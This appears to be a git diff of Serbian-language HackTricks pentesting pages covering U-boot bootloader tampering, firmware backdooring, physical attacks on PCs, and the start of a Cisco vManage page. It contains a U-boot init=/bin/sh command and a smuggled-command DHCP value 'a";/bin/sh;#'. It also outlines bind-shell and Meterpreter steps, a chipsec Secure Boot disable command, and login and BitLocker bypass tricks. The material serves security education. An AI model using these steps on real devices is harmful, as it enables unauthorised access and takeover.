* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
Preporučeni koraci za modifikaciju konfiguracija pokretanja uređaja i bootloadera poput U-boot-a su:
|
||||
Sledeći koraci se preporučuju za modifikaciju konfiguracija pokretanja uređaja i bootloader-a kao što je U-boot:
|
||||
|
||||
1. **Pristup Interpreter Shell-u Bootloader-a**:
|
||||
- Tokom pokretanja, pritisnite "0", razmak ili druge identifikovane "magične kodove" da biste pristupili interpreter shell-u bootloader-a.
|
||||
1. **Pristup Bootloader-ovom Interpreter Shell-u**:
|
||||
- Tokom pokretanja, pritisnite "0", razmak ili druge identifikovane "magijske kodove" da biste pristupili bootloader-ovom interpreter shell-u.
|
||||
|
||||
2. **Modifikacija Pokretnih Argumenata**:
|
||||
- Izvršite sledeće komande da biste dodali '`init=/bin/sh`' na pokretne argumente, omogućavajući izvršenje shell komande:
|
||||
2. **Modifikujte Boot Argumente**:
|
||||
- Izvršite sledeće komande da dodate '`init=/bin/sh`' boot argumentima, omogućavajući izvršavanje shell komande:
|
||||
%%%
|
||||
#printenv
|
||||
#setenv bootargs=console=ttyS0,115200 mem=63M root=/dev/mtdblock3 mtdparts=sflash:<partitiionInfo> rootfstype=<fstype> hasEeprom=0 5srst=0 init=/bin/sh
|
||||
|
@ -26,31 +28,48 @@ Preporučeni koraci za modifikaciju konfiguracija pokretanja uređaja i bootload
|
|||
#boot
|
||||
%%%
|
||||
|
||||
3. **Podesite TFTP Server**:
|
||||
3. **Postavite TFTP Server**:
|
||||
- Konfigurišite TFTP server za učitavanje slika preko lokalne mreže:
|
||||
%%%
|
||||
#setenv ipaddr 192.168.2.2 #lokalna IP adresa uređaja
|
||||
#setenv serverip 192.168.2.1 #IP adresa TFTP servera
|
||||
#saveenv
|
||||
#reset
|
||||
#ping 192.168.2.1 #provera pristupa mreži
|
||||
#ping 192.168.2.1 #proverite pristup mreži
|
||||
#tftp ${loadaddr} uImage-3.6.35 #loadaddr uzima adresu za učitavanje fajla i ime fajla slike na TFTP serveru
|
||||
%%%
|
||||
|
||||
4. **Iskoristite `ubootwrite.py`**:
|
||||
- Koristite `ubootwrite.py` da napišete U-boot sliku i pošaljete modifikovan firmware kako biste dobili root pristup.
|
||||
- Koristite `ubootwrite.py` da napišete U-boot sliku i gurnete modifikovani firmware da biste dobili root pristup.
|
||||
|
||||
5. **Proverite Debug Funkcije**:
|
||||
- Verifikujte da li su debug funkcije poput detaljnog logovanja, učitavanje proizvoljnih kernela ili pokretanje sa nepoverenih izvora omogućene.
|
||||
- Proverite da li su debug funkcije kao što su detaljno logovanje, učitavanje proizvoljnih kernela ili pokretanje sa nepouzdanih izvora omogućene.
|
||||
|
||||
6. **Oprez pri Mešanju Hardvera**:
|
||||
- Budite oprezni kada povezujete jedan pin sa zemljom i interagujete sa SPI ili NAND flash čipovima tokom sekvence pokretanja uređaja, posebno pre dekompresije jezgra. Konsultujte datasheet NAND flash čipa pre spajanja pinova.
|
||||
6. **Opasna Hardverska Interferencija**:
|
||||
- Budite oprezni prilikom povezivanja jednog pina na masu i interakcije sa SPI ili NAND flash čipovima tokom sekvence pokretanja uređaja, posebno pre nego što se kernel dekompresuje. Konsultujte se sa tehničkim listom NAND flash čipa pre nego što kratko spojite pinove.
|
||||
|
||||
7. **Podesite Rogue DHCP Server**:
|
||||
- Postavite rogue DHCP server sa zlonamernim parametrima za uređaj da ih usvoji tokom PXE pokretanja. Iskoristite alate poput Metasploit-ovog (MSF) DHCP pomoćnog servera. Modifikujte parametar 'FILENAME' sa komandama za ubacivanje komandi kao što su `'a";/bin/sh;#'` da biste testirali validaciju unosa za postupke pokretanja uređaja.
|
||||
7. **Konfigurišite Rogue DHCP Server**:
|
||||
- Postavite rogue DHCP server sa zlonamernim parametrima koje uređaj može da prihvati tokom PXE pokretanja. Iskoristite alate kao što je Metasploit-ov (MSF) DHCP pomoćni server. Modifikujte 'FILENAME' parametar sa komandom za injekciju kao što je `'a";/bin/sh;#'` da biste testirali validaciju unosa za procedure pokretanja uređaja.
|
||||
|
||||
**Napomena**: Koraci koji uključuju fizičku interakciju sa pinovima uređaja (*označeni zvezdicom) treba da se pristupe sa ekstremnim oprezom kako bi se izbegla šteta uređaju.
|
||||
**Napomena**: Koraci koji uključuju fizičku interakciju sa pinovima uređaja (*označeni zvezdicama) treba da se pristupaju sa ekstremnim oprezom kako bi se izbeglo oštećenje uređaja.
|
||||
|
||||
|
||||
## Reference
|
||||
## References
|
||||
* [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% hint style="success" %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,58 +1,23 @@
|
|||
<details>
|
||||
## Integritet firmvera
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
**Prilagođeni firmver i/ili kompajlirani binarni fajlovi mogu biti otpremljeni kako bi se iskoristile greške u integritetu ili verifikaciji potpisa**. Sledeći koraci se mogu pratiti za kompajlaciju backdoor bind shell-a:
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
|
||||
## Integritet Firmware-a
|
||||
|
||||
**Prilagođeni firmware i/ili kompajlirane binarne datoteke mogu biti otpremljene kako bi se iskoristile slabosti u proveri integriteta ili potpisa**. Sledeći koraci mogu biti praćeni za kompilaciju backdoor bind shell-a:
|
||||
|
||||
1. Firmware se može izdvojiti korišćenjem firmware-mod-kit (FMK).
|
||||
2. Treba identifikovati arhitekturu i endianess ciljnog firmware-a.
|
||||
3. Može se izgraditi prelazni kompajler korišćenjem Buildroot-a ili drugih odgovarajućih metoda za okruženje.
|
||||
4. Backdoor se može izgraditi korišćenjem prelaznog kompajlera.
|
||||
5. Backdoor se može kopirati u izdvojeni firmware /usr/bin direktorijum.
|
||||
6. Odgovarajući QEMU binarni fajl se može kopirati u izdvojeni firmware rootfs.
|
||||
7. Backdoor se može emulirati korišćenjem chroot-a i QEMU-a.
|
||||
1. Firmver se može ekstrahovati koristeći firmware-mod-kit (FMK).
|
||||
2. Treba identifikovati arhitekturu firmvera i endijnost.
|
||||
3. Može se izgraditi cross compiler koristeći Buildroot ili druge odgovarajuće metode za okruženje.
|
||||
4. Backdoor se može izgraditi koristeći cross compiler.
|
||||
5. Backdoor se može kopirati u /usr/bin direktorijum ekstrahovanog firmvera.
|
||||
6. Odgovarajući QEMU binarni fajl može se kopirati u rootfs ekstrahovanog firmvera.
|
||||
7. Backdoor se može emulirati koristeći chroot i QEMU.
|
||||
8. Backdoor se može pristupiti putem netcat-a.
|
||||
9. QEMU binarni fajl treba ukloniti iz izdvojenog firmware rootfs-a.
|
||||
10. Modifikovani firmware se može ponovo zapakovati korišćenjem FMK.
|
||||
11. Backdoored firmware se može testirati emuliranjem sa firmware analitičkim alatom (FAT) i povezivanjem na ciljni backdoor IP i port korišćenjem netcat-a.
|
||||
9. QEMU binarni fajl treba ukloniti iz rootfs ekstrahovanog firmvera.
|
||||
10. Izmenjeni firmver se može ponovo pakovati koristeći FMK.
|
||||
11. Backdoored firmver se može testirati emulacijom sa alatom za analizu firmvera (FAT) i povezivanjem na IP adresu i port ciljanog backdoora koristeći netcat.
|
||||
|
||||
Ako je već dobijena root shell kroz dinamičku analizu, manipulaciju bootloader-a ili testiranje sigurnosti hardvera, prekompajlirane zlonamerne binarne datoteke poput implanta ili reverznih shell-ova mogu se izvršiti. Automatizovani alati za payload/implant kao što je Metasploit okvir i 'msfvenom' mogu se iskoristiti sledećim koracima:
|
||||
Ako je već dobijena root shell putem dinamičke analize, manipulacije bootloader-om ili testiranja hardverske sigurnosti, prekompajlirani zlonamerni binarni fajlovi kao što su implanti ili reverzni shell-ovi mogu se izvršiti. Automatizovani alati za payload/implant, kao što je Metasploit framework i 'msfvenom', mogu se iskoristiti sledećim koracima:
|
||||
|
||||
1. Treba identifikovati arhitekturu i endianess ciljnog firmware-a.
|
||||
2. Msfvenom se može koristiti za specificiranje ciljnog payload-a, IP adrese napadača, broja slušanja porta, tipa fajla, arhitekture, platforme i izlaznog fajla.
|
||||
1. Treba identifikovati arhitekturu firmvera i endijnost.
|
||||
2. Msfvenom se može koristiti za specificiranje ciljanog payload-a, IP adrese napadača, broja slušajućeg porta, tipa fajla, arhitekture, platforme i izlaznog fajla.
|
||||
3. Payload se može preneti na kompromitovani uređaj i osigurati da ima dozvole za izvršavanje.
|
||||
4. Metasploit se može pripremiti za obradu dolaznih zahteva pokretanjem msfconsole-a i konfigurisanjem podešavanja prema payload-u.
|
||||
4. Metasploit se može pripremiti za obradu dolaznih zahteva pokretanjem msfconsole-a i konfigurisanjem postavki prema payload-u.
|
||||
5. Meterpreter reverzni shell se može izvršiti na kompromitovanom uređaju.
|
||||
6. Meterpreter sesije se mogu pratiti dok se otvaraju.
|
||||
7. Mogu se izvršiti post-eksploatacijske aktivnosti.
|
||||
|
||||
Ako je moguće, ranjivosti unutar startup skripti mogu se iskoristiti kako bi se stekao trajni pristup uređaju tokom ponovnih pokretanja. Ove ranjivosti se javljaju kada startup skripte referišu, [simbolički linkuju](https://www.chromium.org/chromium-os/chromiumos-design-docs/hardening-against-malicious-stateful-data), ili zavise od koda smeštenog na nepoverenim montiranim lokacijama poput SD kartica i fleš volumena korišćenih za skladištenje podataka van korenskih fajl sistema.
|
||||
|
||||
## Reference
|
||||
* Za više informacija pogledajte [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,81 +1,85 @@
|
|||
# Fizički napadi
|
||||
# Fizički Napadi
|
||||
|
||||
{% hint style="success" %}
|
||||
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Podržite HackTricks</summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks suvenir**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
## Obnova BIOS šifre i bezbednost sistema
|
||||
## Oporavak BIOS lozinke i bezbednost sistema
|
||||
|
||||
**Resetovanje BIOS-a** može se postići na nekoliko načina. Većina matičnih ploča uključuje **bateriju** koja, kada se ukloni oko **30 minuta**, resetuje BIOS podešavanja, uključujući i šifru. Alternativno, **jumper na matičnoj ploči** može se podesiti da resetuje ova podešavanja povezivanjem određenih pinova.
|
||||
**Resetovanje BIOS-a** može se postići na nekoliko načina. Većina matičnih ploča uključuje **bateriju** koja, kada se ukloni na oko **30 minuta**, resetuje BIOS podešavanja, uključujući lozinku. Alternativno, **jumper na matičnoj ploči** može se prilagoditi za resetovanje ovih podešavanja povezivanjem specifičnih pinova.
|
||||
|
||||
Za situacije kada hardverske prilagodbe nisu moguće ili praktične, **softverski alati** nude rešenje. Pokretanje sistema sa **Live CD/USB** distribucijama poput **Kali Linux-a** omogućava pristup alatima poput **_killCmos_** i **_CmosPWD_**, koji mogu pomoći u obnovi BIOS šifre.
|
||||
Za situacije u kojima fizičke prilagodbe nisu moguće ili praktične, **softverski alati** nude rešenje. Pokretanje sistema sa **Live CD/USB** sa distribucijama kao što je **Kali Linux** omogućava pristup alatima kao što su **_killCmos_** i **_CmosPWD_**, koji mogu pomoći u oporavku BIOS lozinke.
|
||||
|
||||
U slučajevima kada je BIOS šifra nepoznata, unošenje je pogrešno **tri puta** obično rezultira greškom. Ovaj kod se može koristiti na veb sajtovima poput [https://bios-pw.org](https://bios-pw.org) kako bi se potencijalno pronašla upotrebljiva šifra.
|
||||
U slučajevima kada je BIOS lozinka nepoznata, pogrešno unošenje **tri puta** obično rezultira kodom greške. Ovaj kod može se koristiti na sajtovima kao što je [https://bios-pw.org](https://bios-pw.org) da bi se potencijalno povratila upotrebljiva lozinka.
|
||||
|
||||
### UEFI bezbednost
|
||||
### UEFI Bezbednost
|
||||
|
||||
Za moderne sisteme koji koriste **UEFI** umesto tradicionalnog BIOS-a, alat **chipsec** može se koristiti za analizu i modifikaciju UEFI podešavanja, uključujući onemogućavanje **Secure Boot**-a. To se može postići sledećom komandom:
|
||||
Za moderne sisteme koji koriste **UEFI** umesto tradicionalnog BIOS-a, alat **chipsec** može se koristiti za analizu i modifikaciju UEFI podešavanja, uključujući onemogućavanje **Secure Boot**. To se može postići sledećom komandom:
|
||||
|
||||
`python chipsec_main.py -module exploits.secure.boot.pk`
|
||||
|
||||
### Analiza RAM-a i napadi sa hladnim startom
|
||||
### Analiza RAM-a i Cold Boot napadi
|
||||
|
||||
RAM zadržava podatke nakratko nakon isključivanja napajanja, obično **1 do 2 minuta**. Ova postojanost se može produžiti na **10 minuta** primenom hladnih supstanci, poput tečnog azota. Tokom ovog produženog perioda, može se napraviti **damp memorije** koristeći alate poput **dd.exe** i **volatility** za analizu.
|
||||
RAM zadržava podatke kratko nakon isključenja napajanja, obično od **1 do 2 minuta**. Ova postojanost može se produžiti na **10 minuta** primenom hladnih supstanci, kao što je tečni azot. Tokom ovog produženog perioda, može se napraviti **dump memorije** koristeći alate kao što su **dd.exe** i **volatility** za analizu.
|
||||
|
||||
### Napadi sa direktnim pristupom memoriji (DMA)
|
||||
### Napadi direktnog pristupa memoriji (DMA)
|
||||
|
||||
**INCEPTION** je alat dizajniran za **fizičku manipulaciju memorije** putem DMA, kompatibilan sa interfejsima poput **FireWire**-a i **Thunderbolt**-a. Omogućava zaobilaženje postupaka prijave tako što se memorija patchuje da prihvati bilo koju šifru. Međutim, neefikasan je protiv sistema **Windows 10**.
|
||||
**INCEPTION** je alat dizajniran za **fizičku manipulaciju memorijom** putem DMA, kompatibilan sa interfejsima kao što su **FireWire** i **Thunderbolt**. Omogućava zaobilaženje procedura prijavljivanja patchovanjem memorije da prihvati bilo koju lozinku. Međutim, nije efikasan protiv **Windows 10** sistema.
|
||||
|
||||
### Live CD/USB za pristup sistemu
|
||||
|
||||
Menjanje sistemskih binarnih fajlova poput **_sethc.exe_** ili **_Utilman.exe_** sa kopijom **_cmd.exe_** može obezbediti komandnu liniju sa sistemskim privilegijama. Alati poput **chntpw** mogu se koristiti za uređivanje **SAM** fajla Windows instalacije, omogućavajući promene šifre.
|
||||
Promena sistemskih binarnih fajlova kao što su **_sethc.exe_** ili **_Utilman.exe_** kopijom **_cmd.exe_** može omogućiti komandnu liniju sa sistemskim privilegijama. Alati kao što su **chntpw** mogu se koristiti za uređivanje **SAM** fajla Windows instalacije, omogućavajući promene lozinke.
|
||||
|
||||
**Kon-Boot** je alat koji olakšava prijavljivanje na Windows sisteme bez poznavanja šifre privremeno modifikujući Windows kernel ili UEFI. Više informacija možete pronaći na [https://www.raymond.cc](https://www.raymond.cc/blog/login-to-windows-administrator-and-linux-root-account-without-knowing-or-changing-current-password/).
|
||||
**Kon-Boot** je alat koji olakšava prijavljivanje na Windows sisteme bez poznavanja lozinke tako što privremeno modifikuje Windows kernel ili UEFI. Više informacija može se naći na [https://www.raymond.cc](https://www.raymond.cc/blog/login-to-windows-administrator-and-linux-root-account-without-knowing-or-changing-current-password/).
|
||||
|
||||
### Postupanje sa Windows bezbednosnim funkcijama
|
||||
### Rukovanje Windows bezbednosnim funkcijama
|
||||
|
||||
#### Prečice za podizanje i oporavak sistema
|
||||
#### Prečice za pokretanje i oporavak
|
||||
|
||||
- **Supr**: Pristup BIOS podešavanjima.
|
||||
- **F8**: Ulazak u režim oporavka.
|
||||
- Pritiskanje **Shift** nakon Windows banera može zaobići automatsko prijavljivanje.
|
||||
- Pritiskom na **Shift** nakon Windows banera može se zaobići automatsko prijavljivanje.
|
||||
|
||||
#### Uređaji sa lošim USB-om
|
||||
#### BAD USB uređaji
|
||||
|
||||
Uređaji poput **Rubber Ducky**-a i **Teensyduino**-a služe kao platforme za kreiranje uređaja sa **lošim USB-om**, sposobnih za izvršavanje unapred definisanih payload-a kada su povezani sa ciljanim računarom.
|
||||
Uređaji kao što su **Rubber Ducky** i **Teensyduino** služe kao platforme za kreiranje **bad USB** uređaja, sposobnih za izvršavanje unapred definisanih payload-a kada su povezani na ciljni računar.
|
||||
|
||||
#### Kopiranje senki zapisa
|
||||
#### Volume Shadow Copy
|
||||
|
||||
Administrator privilegije omogućavaju kreiranje kopija osetljivih fajlova, uključujući **SAM** fajl, putem PowerShell-a.
|
||||
Administratorske privilegije omogućavaju kreiranje kopija osetljivih fajlova, uključujući **SAM** fajl, putem PowerShell-a.
|
||||
|
||||
### Zaobilaženje BitLocker enkripcije
|
||||
|
||||
BitLocker enkripcija potencijalno može biti zaobiđena ako se **ključ za oporavak** pronađe u fajlu sa dump-om memorije (**MEMORY.DMP**). Alati poput **Elcomsoft Forensic Disk Decryptor**-a ili **Passware Kit Forensic**-a mogu se koristiti u tu svrhu.
|
||||
BitLocker enkripcija može se potencijalno zaobići ako se **lozinka za oporavak** pronađe unutar dump fajla memorije (**MEMORY.DMP**). Alati kao što su **Elcomsoft Forensic Disk Decryptor** ili **Passware Kit Forensic** mogu se koristiti u tu svrhu.
|
||||
|
||||
### Društveno inženjerstvo za dodavanje ključa za oporavak
|
||||
### Socijalni inženjering za dodavanje ključa za oporavak
|
||||
|
||||
Novi BitLocker ključ za oporavak može se dodati putem taktika društvenog inženjeringa, ubedivši korisnika da izvrši komandu koja dodaje novi ključ za oporavak sastavljen od nula, čime se pojednostavljuje proces dešifrovanja.
|
||||
Novi BitLocker ključ za oporavak može se dodati putem taktika socijalnog inženjeringa, ubeđujući korisnika da izvrši komandu koja dodaje novi ključ za oporavak sastavljen od nula, čime se pojednostavljuje proces dekripcije.
|
||||
{% hint style="success" %}
|
||||
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Podržite HackTricks</summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks suvenir**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,28 +1,31 @@
|
|||
# Cisco - vmanage
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Da li radite u **cybersecurity kompaniji**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks-u**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Putanja 1
|
||||
## Path 1
|
||||
|
||||
(Primer sa [https://www.synacktiv.com/en/publications/pentesting-cisco-sd-wan-part-1-attacking-vmanage.html](https://www.synacktiv.com/en/publications/pentesting-cisco-sd-wan-part-1-attacking-vmanage.html))
|
||||
|
||||
Nakon malo istraživanja kroz neku [dokumentaciju](http://66.218.245.39/doc/html/rn03re18.html) vezanu za `confd` i različite binarne fajlove (pristupnim sa nalogom na Cisco veb sajtu), otkrili smo da za autentifikaciju IPC socket-a koristi tajnu smeštenu u `/etc/confd/confd_ipc_secret`:
|
||||
